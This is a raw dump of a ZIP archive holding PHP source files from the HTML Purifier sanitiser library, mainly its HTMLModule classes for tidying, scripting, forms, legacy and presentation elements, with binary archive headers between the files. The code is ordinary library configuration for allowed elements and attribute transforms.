// this transformation is not precise but often good enough.
// different browsers use different styles to designate noshade
$r['hr@noshade'] =
new HTMLPurifier_AttrTransform_BoolToCSS(
'noshade',
'color:#808080;background-color:#808080;border:0;'
);
// @nowrap for td, th ---------------------------------------------
$r['td@nowrap'] =
$r['th@nowrap'] =
new HTMLPurifier_AttrTransform_BoolToCSS(
'nowrap',
'white-space:nowrap;'
);
// @size for hr --------------------------------------------------
$r['hr@size'] = new HTMLPurifier_AttrTransform_Length('size', 'height');
// @type for li, ol, ul -------------------------------------------
// {{{
$ul_types = array(
'disc' => 'list-style-type:disc;',
'square' => 'list-style-type:square;',
'circle' => 'list-style-type:circle;'
);
$ol_types = array(
'1' => 'list-style-type:decimal;',
'i' => 'list-style-type:lower-roman;',
'I' => 'list-style-type:upper-roman;',
'a' => 'list-style-type:lower-alpha;',
'A' => 'list-style-type:upper-alpha;'
);
$li_types = $ul_types + $ol_types;
// }}}
$r['ul@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ul_types);
$r['ol@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $ol_types, true);
$r['li@type'] = new HTMLPurifier_AttrTransform_EnumToCSS('type', $li_types, true);
// @vspace for img ------------------------------------------------
$r['img@vspace'] = new HTMLPurifier_AttrTransform_ImgSpace('vspace');
// @width for hr, td, th ------------------------------------------
$r['td@width'] =
$r['th@width'] =
$r['hr@width'] = new HTMLPurifier_AttrTransform_Length('width');
return $r;
}
}
// vim: et sw=4 sts=4
PK j�$Zs� 8� � < htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Strict.phpnu �[��� <?php
class HTMLPurifier_HTMLModule_Tidy_Strict extends HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4
{
/**
* @type string
*/
public $name = 'Tidy_Strict';
/**
* @type string
*/
public $defaultLevel = 'light';
/**
* @return array
*/
public function makeFixes()
{
$r = parent::makeFixes();
$r['blockquote#content_model_type'] = 'strictblockquote';
return $r;
}
/**
* @type bool
*/
public $defines_child_def = true;
/**
* @param HTMLPurifier_ElementDef $def
* @return HTMLPurifier_ChildDef_StrictBlockquote
*/
public function getChildDef($def)
{
if ($def->content_model_type != 'strictblockquote') {
return parent::getChildDef($def);
}
return new HTMLPurifier_ChildDef_StrictBlockquote($def->content_model);
}
}
// vim: et sw=4 sts=4
PK j�$ZQ:t� � A htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.phpnu �[��� <?php
class HTMLPurifier_HTMLModule_Tidy_Proprietary extends HTMLPurifier_HTMLModule_Tidy
{
/**
* @type string
*/
public $name = 'Tidy_Proprietary';
/**
* @type string
*/
public $defaultLevel = 'light';
/**
* @return array
*/
public function makeFixes()
{
$r = array();
$r['table@background'] = new HTMLPurifier_AttrTransform_Background();
$r['td@background'] = new HTMLPurifier_AttrTransform_Background();
$r['th@background'] = new HTMLPurifier_AttrTransform_Background();
$r['tr@background'] = new HTMLPurifier_AttrTransform_Background();
$r['thead@background'] = new HTMLPurifier_AttrTransform_Background();
$r['tfoot@background'] = new HTMLPurifier_AttrTransform_Background();
$r['tbody@background'] = new HTMLPurifier_AttrTransform_Background();
$r['table@height'] = new HTMLPurifier_AttrTransform_Length('height');
return $r;
}
}
// vim: et sw=4 sts=4
PK j�$Z�]�Ϸ � ; htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTML.phpnu �[��� <?php
class HTMLPurifier_HTMLModule_Tidy_XHTML extends HTMLPurifier_HTMLModule_Tidy
{
/**
* @type string
*/
public $name = 'Tidy_XHTML';
/**
* @type string
*/
public $defaultLevel = 'medium';
/**
* @return array
*/
public function makeFixes()
{
$r = array();
$r['@lang'] = new HTMLPurifier_AttrTransform_Lang();
return $r;
}
}
// vim: et sw=4 sts=4
PK j�$ZI��� ? htmlpurifier/library/HTMLPurifier/HTMLModule/StyleAttribute.phpnu �[��� <?php
/**
* XHTML 1.1 Edit Module, defines editing-related elements. Text Extension
* Module.
*/
class HTMLPurifier_HTMLModule_StyleAttribute extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'StyleAttribute';
/**
* @type array
*/
public $attr_collections = array(
// The inclusion routine differs from the Abstract Modules but
// is in line with the DTD and XML Schemas.
'Style' => array('style' => false), // see constructor
'Core' => array(0 => array('Style'))
);
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$this->attr_collections['Style']['style'] = new HTMLPurifier_AttrDef_CSS();
}
}
// vim: et sw=4 sts=4
PK j�$ZeD>�� � 5 htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy.phpnu �[��� <?php
/**
* Abstract class for a set of proprietary modules that clean up (tidy)
* poorly written HTML.
* @todo Figure out how to protect some of these methods/properties
*/
class HTMLPurifier_HTMLModule_Tidy extends HTMLPurifier_HTMLModule
{
/**
* List of supported levels.
* Index zero is a special case "no fixes" level.
* @type array
*/
public $levels = array(0 => 'none', 'light', 'medium', 'heavy');
/**
* Default level to place all fixes in.
* Disabled by default.
* @type string
*/
public $defaultLevel = null;
/**
* Lists of fixes used by getFixesForLevel().
* Format is:
* HTMLModule_Tidy->fixesForLevel[$level] = array('fix-1', 'fix-2');
* @type array
*/
public $fixesForLevel = array(
'light' => array(),
'medium' => array(),
'heavy' => array()
);
/**
* Lazy load constructs the module by determining the necessary
* fixes to create and then delegating to the populate() function.
* @param HTMLPurifier_Config $config
* @todo Wildcard matching and error reporting when an added or
* subtracted fix has no effect.
*/
public function setup($config)
{
// create fixes, initialize fixesForLevel
$fixes = $this->makeFixes();
$this->makeFixesForLevel($fixes);
// figure out which fixes to use
$level = $config->get('HTML.TidyLevel');
$fixes_lookup = $this->getFixesForLevel($level);
// get custom fix declarations: these need namespace processing
$add_fixes = $config->get('HTML.TidyAdd');
$remove_fixes = $config->get('HTML.TidyRemove');
foreach ($fixes as $name => $fix) {
// needs to be refactored a little to implement globbing
if (isset($remove_fixes[$name]) ||
(!isset($add_fixes[$name]) && !isset($fixes_lookup[$name]))) {
unset($fixes[$name]);
}
}
// populate this module with necessary fixes
$this->populate($fixes);
}
/**
* Retrieves all fixes per a level, returning fixes for that specific
* level as well as all levels below it.
* @param string $level level identifier, see $levels for valid values
* @return array Lookup up table of fixes
*/
public function getFixesForLevel($level)
{
if ($level == $this->levels[0]) {
return array();
}
$activated_levels = array();
for ($i = 1, $c = count($this->levels); $i < $c; $i++) {
$activated_levels[] = $this->levels[$i];
if ($this->levels[$i] == $level) {
break;
}
}
if ($i == $c) {
trigger_error(
'Tidy level ' . htmlspecialchars($level) . ' not recognized',
E_USER_WARNING
);
return array();
}
$ret = array();
foreach ($activated_levels as $level) {
foreach ($this->fixesForLevel[$level] as $fix) {
$ret[$fix] = true;
}
}
return $ret;
}
/**
* Dynamically populates the $fixesForLevel member variable using
* the fixes array. It may be custom overloaded, used in conjunction
* with $defaultLevel, or not used at all.
* @param array $fixes
*/
public function makeFixesForLevel($fixes)
{
if (!isset($this->defaultLevel)) {
return;
}
if (!isset($this->fixesForLevel[$this->defaultLevel])) {
trigger_error(
'Default level ' . $this->defaultLevel . ' does not exist',
E_USER_ERROR
);
return;
}
$this->fixesForLevel[$this->defaultLevel] = array_keys($fixes);
}
/**
* Populates the module with transforms and other special-case code
* based on a list of fixes passed to it
* @param array $fixes Lookup table of fixes to activate
*/
public function populate($fixes)
{
foreach ($fixes as $name => $fix) {
// determine what the fix is for
list($type, $params) = $this->getFixType($name);
switch ($type) {
case 'attr_transform_pre':
case 'attr_transform_post':
$attr = $params['attr'];
if (isset($params['element'])) {
$element = $params['element'];
if (empty($this->info[$element])) {
$e = $this->addBlankElement($element);
} else {
$e = $this->info[$element];
}
} else {
$type = "info_$type";
$e = $this;
}
// PHP does some weird parsing when I do
// $e->$type[$attr], so I have to assign a ref.
$f =& $e->$type;
$f[$attr] = $fix;
break;
case 'tag_transform':
$this->info_tag_transform[$params['element']] = $fix;
break;
case 'child':
case 'content_model_type':
$element = $params['element'];
if (empty($this->info[$element])) {
$e = $this->addBlankElement($element);
} else {
$e = $this->info[$element];
}
$e->$type = $fix;
break;
default:
trigger_error("Fix type $type not supported", E_USER_ERROR);
break;
}
}
}
/**
* Parses a fix name and determines what kind of fix it is, as well
* as other information defined by the fix
* @param $name String name of fix
* @return array(string $fix_type, array $fix_parameters)
* @note $fix_parameters is type dependant, see populate() for usage
* of these parameters
*/
public function getFixType($name)
{
// parse it
$property = $attr = null;
if (strpos($name, '#') !== false) {
list($name, $property) = explode('#', $name);
}
if (strpos($name, '@') !== false) {
list($name, $attr) = explode('@', $name);
}
// figure out the parameters
$params = array();
if ($name !== '') {
$params['element'] = $name;
}
if (!is_null($attr)) {
$params['attr'] = $attr;
}
// special case: attribute transform
if (!is_null($attr)) {
if (is_null($property)) {
$property = 'pre';
}
$type = 'attr_transform_' . $property;
return array($type, $params);
}
// special case: tag transform
if (is_null($property)) {
return array('tag_transform', $params);
}
return array($property, $params);
}
/**
* Defines all fixes the module will perform in a compact
* associative array of fix name to fix implementation.
* @return array
*/
public function makeFixes()
{
}
}
// vim: et sw=4 sts=4
PK j�$Z���= A htmlpurifier/library/HTMLPurifier/HTMLModule/TargetNoreferrer.phpnu �[��� <?php
/**
* Module adds the target-based noreferrer attribute transformation to a tags. It
* is enabled by HTML.TargetNoreferrer
*/
class HTMLPurifier_HTMLModule_TargetNoreferrer extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'TargetNoreferrer';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config) {
$a = $this->addBlankElement('a');
$a->attr_transform_post[] = new HTMLPurifier_AttrTransform_TargetNoreferrer();
}
}
PK j�$Z="��! ! : htmlpurifier/library/HTMLPurifier/HTMLModule/Scripting.phpnu �[��� <?php
/*
WARNING: THIS MODULE IS EXTREMELY DANGEROUS AS IT ENABLES INLINE SCRIPTING
INSIDE HTML PURIFIER DOCUMENTS. USE ONLY WITH TRUSTED USER INPUT!!!
*/
/**
* XHTML 1.1 Scripting module, defines elements that are used to contain
* information pertaining to executable scripts or the lack of support
* for executable scripts.
* @note This module does not contain inline scripting elements
*/
class HTMLPurifier_HTMLModule_Scripting extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Scripting';
/**
* @type array
*/
public $elements = array('script', 'noscript');
/**
* @type array
*/
public $content_sets = array('Block' => 'script | noscript', 'Inline' => 'script | noscript');
/**
* @type bool
*/
public $safe = false;
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
// TODO: create custom child-definition for noscript that
// auto-wraps stray #PCDATA in a similar manner to
// blockquote's custom definition (we would use it but
// blockquote's contents are optional while noscript's contents
// are required)
// TODO: convert this to new syntax, main problem is getting
// both content sets working
// In theory, this could be safe, but I don't see any reason to
// allow it.
$this->info['noscript'] = new HTMLPurifier_ElementDef();
$this->info['noscript']->attr = array(0 => array('Common'));
$this->info['noscript']->content_model = 'Heading | List | Block';
$this->info['noscript']->content_model_type = 'required';
$this->info['script'] = new HTMLPurifier_ElementDef();
$this->info['script']->attr = array(
'defer' => new HTMLPurifier_AttrDef_Enum(array('defer')),
'src' => new HTMLPurifier_AttrDef_URI(true),
'type' => new HTMLPurifier_AttrDef_Enum(array('text/javascript'))
);
$this->info['script']->content_model = '#PCDATA';
$this->info['script']->content_model_type = 'optional';
$this->info['script']->attr_transform_pre[] =
$this->info['script']->attr_transform_post[] =
new HTMLPurifier_AttrTransform_ScriptRequired();
}
}
// vim: et sw=4 sts=4
PK j�$Z`)� 4 htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.phpnu �[��� <?php
/**
* XHTML 1.1 Bi-directional Text Module, defines elements that
* declare directionality of content. Text Extension Module.
*/
class HTMLPurifier_HTMLModule_Bdo extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Bdo';
/**
* @type array
*/
public $attr_collections = array(
'I18N' => array('dir' => false)
);
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$bdo = $this->addElement(
'bdo',
'Inline',
'Inline',
array('Core', 'Lang'),
array(
'dir' => 'Enum#ltr,rtl', // required
// The Abstract Module specification has the attribute
// inclusions wrong for bdo: bdo allows Lang
)
);
$bdo->attr_transform_post[] = new HTMLPurifier_AttrTransform_BdoDir();
$this->attr_collections['I18N']['dir'] = 'Enum#ltr,rtl';
}
}
// vim: et sw=4 sts=4
PK j�$Z���T� � > htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.phpnu �[��� <?php
/**
* A "safe" script module. No inline JS is allowed, and pointed to JS
* files must match whitelist.
*/
class HTMLPurifier_HTMLModule_SafeScripting extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'SafeScripting';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
// These definitions are not intrinsically safe: the attribute transforms
// are a vital part of ensuring safety.
$allowed = $config->get('HTML.SafeScripting');
$script = $this->addElement(
'script',
'Inline',
'Optional:', // Not `Empty` to not allow to autoclose the <script /> tag @see https://www.w3.org/TR/html4/interact/scripts.html
null,
array(
// While technically not required by the spec, we're forcing
// it to this value.
'type' => 'Enum#text/javascript',
'src*' => new HTMLPurifier_AttrDef_Enum(array_keys($allowed), /*case sensitive*/ true)
)
);
$script->attr_transform_pre[] =
$script->attr_transform_post[] = new HTMLPurifier_AttrTransform_ScriptRequired();
}
}
// vim: et sw=4 sts=4
PK j�$Z���H� � A htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.phpnu �[��� <?php
class HTMLPurifier_HTMLModule_CommonAttributes extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'CommonAttributes';
/**
* @type array
*/
public $attr_collections = array(
'Core' => array(
0 => array('Style'),
// 'xml:space' => false,
'class' => 'Class',
'id' => 'ID',
'title' => 'CDATA',
),
'Lang' => array(),
'I18N' => array(
0 => array('Lang'), // proprietary, for xml:lang/lang
),
'Common' => array(
0 => array('Core', 'I18N')
)
);
}
// vim: et sw=4 sts=4
PK j�$Z9��k
k
5 htmlpurifier/library/HTMLPurifier/HTMLModule/Text.phpnu �[��� <?php
/**
* XHTML 1.1 Text Module, defines basic text containers. Core Module.
* @note In the normative XML Schema specification, this module
* is further abstracted into the following modules:
* - Block Phrasal (address, blockquote, pre, h1, h2, h3, h4, h5, h6)
* - Block Structural (div, p)
* - Inline Phrasal (abbr, acronym, cite, code, dfn, em, kbd, q, samp, strong, var)
* - Inline Structural (br, span)
* This module, functionally, does not distinguish between these
* sub-modules, but the code is internally structured to reflect
* these distinctions.
*/
class HTMLPurifier_HTMLModule_Text extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Text';
/**
* @type array
*/
public $content_sets = array(
'Flow' => 'Heading | Block | Inline'
);
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
// Inline Phrasal -------------------------------------------------
$this->addElement('abbr', 'Inline', 'Inline', 'Common');
$this->addElement('acronym', 'Inline', 'Inline', 'Common');
$this->addElement('cite', 'Inline', 'Inline', 'Common');
$this->addElement('dfn', 'Inline', 'Inline', 'Common');
$this->addElement('kbd', 'Inline', 'Inline', 'Common');
$this->addElement('q', 'Inline', 'Inline', 'Common', array('cite' => 'URI'));
$this->addElement('samp', 'Inline', 'Inline', 'Common');
$this->addElement('var', 'Inline', 'Inline', 'Common');
$em = $this->addElement('em', 'Inline', 'Inline', 'Common');
$em->formatting = true;
$strong = $this->addElement('strong', 'Inline', 'Inline', 'Common');
$strong->formatting = true;
$code = $this->addElement('code', 'Inline', 'Inline', 'Common');
$code->formatting = true;
// Inline Structural ----------------------------------------------
$this->addElement('span', 'Inline', 'Inline', 'Common');
$this->addElement('br', 'Inline', 'Empty', 'Core');
// Block Phrasal --------------------------------------------------
$this->addElement('address', 'Block', 'Inline', 'Common');
$this->addElement('blockquote', 'Block', 'Optional: Heading | Block | List', 'Common', array('cite' => 'URI'));
$pre = $this->addElement('pre', 'Block', 'Inline', 'Common');
$pre->excludes = $this->makeLookup(
'img',
'big',
'small',
'object',
'applet',
'font',
'basefont'
);
$this->addElement('h1', 'Heading', 'Inline', 'Common');
$this->addElement('h2', 'Heading', 'Inline', 'Common');
$this->addElement('h3', 'Heading', 'Inline', 'Common');
$this->addElement('h4', 'Heading', 'Inline', 'Common');
$this->addElement('h5', 'Heading', 'Inline', 'Common');
$this->addElement('h6', 'Heading', 'Inline', 'Common');
// Block Structural -----------------------------------------------
$p = $this->addElement('p', 'Block', 'Inline', 'Common');
$p->autoclose = array_flip(
array("address", "blockquote", "center", "dir", "div", "dl", "fieldset", "ol", "p", "ul")
);
$this->addElement('div', 'Block', 'Flow', 'Common');
}
}
// vim: et sw=4 sts=4
PK j�$ZD9�n� � 5 htmlpurifier/library/HTMLPurifier/HTMLModule/Name.phpnu �[��� <?php
class HTMLPurifier_HTMLModule_Name extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Name';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$elements = array('a', 'applet', 'form', 'frame', 'iframe', 'img', 'map');
foreach ($elements as $name) {
$element = $this->addBlankElement($name);
$element->attr['name'] = 'CDATA';
if (!$config->get('HTML.Attr.Name.UseCDATA')) {
$element->attr_transform_post[] = new HTMLPurifier_AttrTransform_NameSync();
}
}
}
}
// vim: et sw=4 sts=4
PK j�$Z���b b G htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.phpnu �[��� <?php
class HTMLPurifier_HTMLModule_NonXMLCommonAttributes extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'NonXMLCommonAttributes';
/**
* @type array
*/
public $attr_collections = array(
'Lang' => array(
'lang' => 'LanguageCode',
)
);
}
// vim: et sw=4 sts=4
PK j�$Z*��` ` D htmlpurifier/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.phpnu �[��� <?php
class HTMLPurifier_HTMLModule_XMLCommonAttributes extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'XMLCommonAttributes';
/**
* @type array
*/
public $attr_collections = array(
'Lang' => array(
'xml:lang' => 'LanguageCode',
)
);
}
// vim: et sw=4 sts=4
PK j�$Z"�tw w 6 htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.phpnu �[��� <?php
/**
* XHTML 1.1 Forms module, defines all form-related elements found in HTML 4.
*/
class HTMLPurifier_HTMLModule_Forms extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Forms';
/**
* @type bool
*/
public $safe = false;
/**
* @type array
*/
public $content_sets = array(
'Block' => 'Form',
'Inline' => 'Formctrl',
);
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$form = $this->addElement(
'form',
'Form',
'Required: Heading | List | Block | fieldset',
'Common',
array(
'accept' => 'ContentTypes',
'accept-charset' => 'Charsets',
'action*' => 'URI',
'method' => 'Enum#get,post',
// really ContentType, but these two are the only ones used today
'enctype' => 'Enum#application/x-www-form-urlencoded,multipart/form-data',
)
);
$form->excludes = array('form' => true);
$input = $this->addElement(
'input',
'Formctrl',
'Empty',
'Common',
array(
'accept' => 'ContentTypes',
'accesskey' => 'Character',
'alt' => 'Text',
'checked' => 'Bool#checked',
'disabled' => 'Bool#disabled',
'maxlength' => 'Number',
'name' => 'CDATA',
'readonly' => 'Bool#readonly',
'size' => 'Number',
'src' => 'URI#embedded',
'tabindex' => 'Number',
'type' => 'Enum#text,password,checkbox,button,radio,submit,reset,file,hidden,image',
'value' => 'CDATA',
)
);
$input->attr_transform_post[] = new HTMLPurifier_AttrTransform_Input();
$this->addElement(
'select',
'Formctrl',
'Required: optgroup | option',
'Common',
array(
'disabled' => 'Bool#disabled',
'multiple' => 'Bool#multiple',
'name' => 'CDATA',
'size' => 'Number',
'tabindex' => 'Number',
)
);
$this->addElement(
'option',
false,
'Optional: #PCDATA',
'Common',
array(
'disabled' => 'Bool#disabled',
'label' => 'Text',
'selected' => 'Bool#selected',
'value' => 'CDATA',
)
);
// It's illegal for there to be more than one selected, but not
// be multiple. Also, no selected means undefined behavior. This might
// be difficult to implement; perhaps an injector, or a context variable.
$textarea = $this->addElement(
'textarea',
'Formctrl',
'Optional: #PCDATA',
'Common',
array(
'accesskey' => 'Character',
'cols*' => 'Number',
'disabled' => 'Bool#disabled',
'name' => 'CDATA',
'readonly' => 'Bool#readonly',
'rows*' => 'Number',
'tabindex' => 'Number',
)
);
$textarea->attr_transform_pre[] = new HTMLPurifier_AttrTransform_Textarea();
$button = $this->addElement(
'button',
'Formctrl',
'Optional: #PCDATA | Heading | List | Block | Inline',
'Common',
array(
'accesskey' => 'Character',
'disabled' => 'Bool#disabled',
'name' => 'CDATA',
'tabindex' => 'Number',
'type' => 'Enum#button,submit,reset',
'value' => 'CDATA',
)
);
// For exclusions, ideally we'd specify content sets, not literal elements
$button->excludes = $this->makeLookup(
'form',
'fieldset', // Form
'input',
'select',
'textarea',
'label',
'button', // Formctrl
'a', // as per HTML 4.01 spec, this is omitted by modularization
'isindex',
'iframe' // legacy items
);
// Extra exclusion: img usemap="" is not permitted within this element.
// We'll omit this for now, since we don't have any good way of
// indicating it yet.
// This is HIGHLY user-unfriendly; we need a custom child-def for this
$this->addElement('fieldset', 'Form', 'Custom: (#WS?,legend,(Flow|#PCDATA)*)', 'Common');
$label = $this->addElement(
'label',
'Formctrl',
'Optional: #PCDATA | Inline',
'Common',
array(
'accesskey' => 'Character',
// 'for' => 'IDREF', // IDREF not implemented, cannot allow
)
);
$label->excludes = array('label' => true);
$this->addElement(
'legend',
false,
'Optional: #PCDATA | Inline',
'Common',
array(
'accesskey' => 'Character',
)
);
$this->addElement(
'optgroup',
false,
'Required: option',
'Common',
array(
'disabled' => 'Bool#disabled',
'label*' => 'Text',
)
);
// Don't forget an injector for <isindex>. This one's a little complex
// because it maps to multiple elements.
}
}
// vim: et sw=4 sts=4
PK j�$Z�(�� � = htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.phpnu �[��� <?php
/**
* XHTML 1.1 Presentation Module, defines simple presentation-related
* markup. Text Extension Module.
* @note The official XML Schema and DTD specs further divide this into
* two modules:
* - Block Presentation (hr)
* - Inline Presentation (b, big, i, small, sub, sup, tt)
* We have chosen not to heed this distinction, as content_sets
* provides satisfactory disambiguation.
*/
class HTMLPurifier_HTMLModule_Presentation extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Presentation';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$this->addElement('hr', 'Block', 'Empty', 'Common');
$this->addElement('sub', 'Inline', 'Inline', 'Common');
$this->addElement('sup', 'Inline', 'Inline', 'Common');
$b = $this->addElement('b', 'Inline', 'Inline', 'Common');
$b->formatting = true;
$big = $this->addElement('big', 'Inline', 'Inline', 'Common');
$big->formatting = true;
$i = $this->addElement('i', 'Inline', 'Inline', 'Common');
$i->formatting = true;
$small = $this->addElement('small', 'Inline', 'Inline', 'Common');
$small->formatting = true;
$tt = $this->addElement('tt', 'Inline', 'Inline', 'Common');
$tt->formatting = true;
}
}
// vim: et sw=4 sts=4
PK j�$Z}�9F 5 htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.phpnu �[��� <?php
/**
* XHTML 1.1 Ruby Annotation Module, defines elements that indicate
* short runs of text alongside base text for annotation or pronounciation.
*/
class HTMLPurifier_HTMLModule_Ruby extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Ruby';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$this->addElement(
'ruby',
'Inline',
'Custom: ((rb, (rt | (rp, rt, rp))) | (rbc, rtc, rtc?))',
'Common'
);
$this->addElement('rbc', false, 'Required: rb', 'Common');
$this->addElement('rtc', false, 'Required: rt', 'Common');
$rb = $this->addElement('rb', false, 'Inline', 'Common');
$rb->excludes = array('ruby' => true);
$rt = $this->addElement('rt', false, 'Inline', 'Common', array('rbspan' => 'Number'));
$rt->excludes = array('ruby' => true);
$this->addElement('rp', false, 'Optional: #PCDATA', 'Common');
}
}
// vim: et sw=4 sts=4
PK j�$Z�dVI I : htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.phpnu �[��� <?php
/**
* A "safe" embed module. See SafeObject. This is a proprietary element.
*/
class HTMLPurifier_HTMLModule_SafeEmbed extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'SafeEmbed';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$max = $config->get('HTML.MaxImgLength');
$embed = $this->addElement(
'embed',
'Inline',
'Empty',
'Common',
array(
'src*' => 'URI#embedded',
'type' => 'Enum#application/x-shockwave-flash',
'width' => 'Pixels#' . $max,
'height' => 'Pixels#' . $max,
'allowscriptaccess' => 'Enum#never',
'allownetworking' => 'Enum#internal',
'flashvars' => 'Text',
'wmode' => 'Enum#window,transparent,opaque',
'name' => 'ID',
)
);
$embed->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeEmbed();
}
}
// vim: et sw=4 sts=4
PK j�$Z%f59� � 7 htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.phpnu �[��� <?php
/**
* XHTML 1.1 Legacy module defines elements that were previously
* deprecated.
*
* @note Not all legacy elements have been implemented yet, which
* is a bit of a reverse problem as compared to browsers! In
* addition, this legacy module may implement a bit more than
* mandated by XHTML 1.1.
*
* This module can be used in combination with TransformToStrict in order
* to transform as many deprecated elements as possible, but retain
* questionably deprecated elements that do not have good alternatives
* as well as transform elements that don't have an implementation.
* See docs/ref-strictness.txt for more details.
*/
class HTMLPurifier_HTMLModule_Legacy extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Legacy';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$this->addElement(
'basefont',
'Inline',
'Empty',
null,
array(
'color' => 'Color',
'face' => 'Text', // extremely broad, we should
'size' => 'Text', // tighten it
'id' => 'ID'
)
);
$this->addElement('center', 'Block', 'Flow', 'Common');
$this->addElement(
'dir',
'Block',
'Required: li',
'Common',
array(
'compact' => 'Bool#compact'
)
);
$this->addElement(
'font',
'Inline',
'Inline',
array('Core', 'I18N'),
array(
'color' => 'Color',
'face' => 'Text', // extremely broad, we should
'size' => 'Text', // tighten it
)
);
$this->addElement(
'menu',
'Block',
'Required: li',
'Common',
array(
'compact' => 'Bool#compact'
)
);
$s = $this->addElement('s', 'Inline', 'Inline', 'Common');
$s->formatting = true;
$strike = $this->addElement('strike', 'Inline', 'Inline', 'Common');
$strike->formatting = true;
$u = $this->addElement('u', 'Inline', 'Inline', 'Common');
$u->formatting = true;
// setup modifications to old elements
$align = 'Enum#left,right,center,justify';
$address = $this->addBlankElement('address');
$address->content_model = 'Inline | #PCDATA | p';
$address->content_model_type = 'optional';
$address->child = false;
$blockquote = $this->addBlankElement('blockquote');
$blockquote->content_model = 'Flow | #PCDATA';
$blockquote->content_model_type = 'optional';
$blockquote->child = false;
$br = $this->addBlankElement('br');
$br->attr['clear'] = 'Enum#left,all,right,none';
$caption = $this->addBlankElement('caption');
$caption->attr['align'] = 'Enum#top,bottom,left,right';
$div = $this->addBlankElement('div');
$div->attr['align'] = $align;
$dl = $this->addBlankElement('dl');
$dl->attr['compact'] = 'Bool#compact';
for ($i = 1; $i <= 6; $i++) {
$h = $this->addBlankElement("h$i");
$h->attr['align'] = $align;
}
$hr = $this->addBlankElement('hr');
$hr->attr['align'] = $align;
$hr->attr['noshade'] = 'Bool#noshade';
$hr->attr['size'] = 'Pixels';
$hr->attr['width'] = 'Length';
$img = $this->addBlankElement('img');
$img->attr['align'] = 'IAlign';
$img->attr['border'] = 'Pixels';
$img->attr['hspace'] = 'Pixels';
$img->attr['vspace'] = 'Pixels';
// figure out this integer business
$li = $this->addBlankElement('li');
$li->attr['value'] = new HTMLPurifier_AttrDef_Integer();
$li->attr['type'] = 'Enum#s:1,i,I,a,A,disc,square,circle';
$ol = $this->addBlankElement('ol');
$ol->attr['compact'] = 'Bool#compact';
$ol->attr['start'] = new HTMLPurifier_AttrDef_Integer();
$ol->attr['type'] = 'Enum#s:1,i,I,a,A';
$p = $this->addBlankElement('p');
$p->attr['align'] = $align;
$pre = $this->addBlankElement('pre');
$pre->attr['width'] = 'Number';
// script omitted
$table = $this->addBlankElement('table');
$table->attr['align'] = 'Enum#left,center,right';
$table->attr['bgcolor'] = 'Color';
$tr = $this->addBlankElement('tr');
$tr->attr['bgcolor'] = 'Color';
$th = $this->addBlankElement('th');
$th->attr['bgcolor'] = 'Color';
$th->attr['height'] = 'Length';
$th->attr['nowrap'] = 'Bool#nowrap';
$th->attr['width'] = 'Length';
$td = $this->addBlankElement('td');
$td->attr['bgcolor'] = 'Color';
$td->attr['height'] = 'Length';
$td->attr['nowrap'] = 'Bool#nowrap';
$td->attr['width'] = 'Length';
$ul = $this->addBlankElement('ul');
$ul->attr['compact'] = 'Bool#compact';
$ul->attr['type'] = 'Enum#square,disc,circle';
// "safe" modifications to "unsafe" elements
// WARNING: If you want to add support for an unsafe, legacy
// attribute, make a new TrustedLegacy module with the trusted
// bit set appropriately
$form = $this->addBlankElement('form');
$form->content_model = 'Flow | #PCDATA';
$form->content_model_type = 'optional';
$form->attr['target'] = 'FrameTarget';
$input = $this->addBlankElement('input');
$input->attr['align'] = 'IAlign';
$legend = $this->addBlankElement('legend');
$legend->attr['align'] = 'LAlign';
}
}
// vim: et sw=4 sts=4
PK j�$Z6<� 0 0 7 htmlpurifier/library/HTMLPurifier/HTMLModule/Tables.phpnu �[��� <?php
/**
* XHTML 1.1 Tables Module, fully defines accessible table elements.
*/
class HTMLPurifier_HTMLModule_Tables extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Tables';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
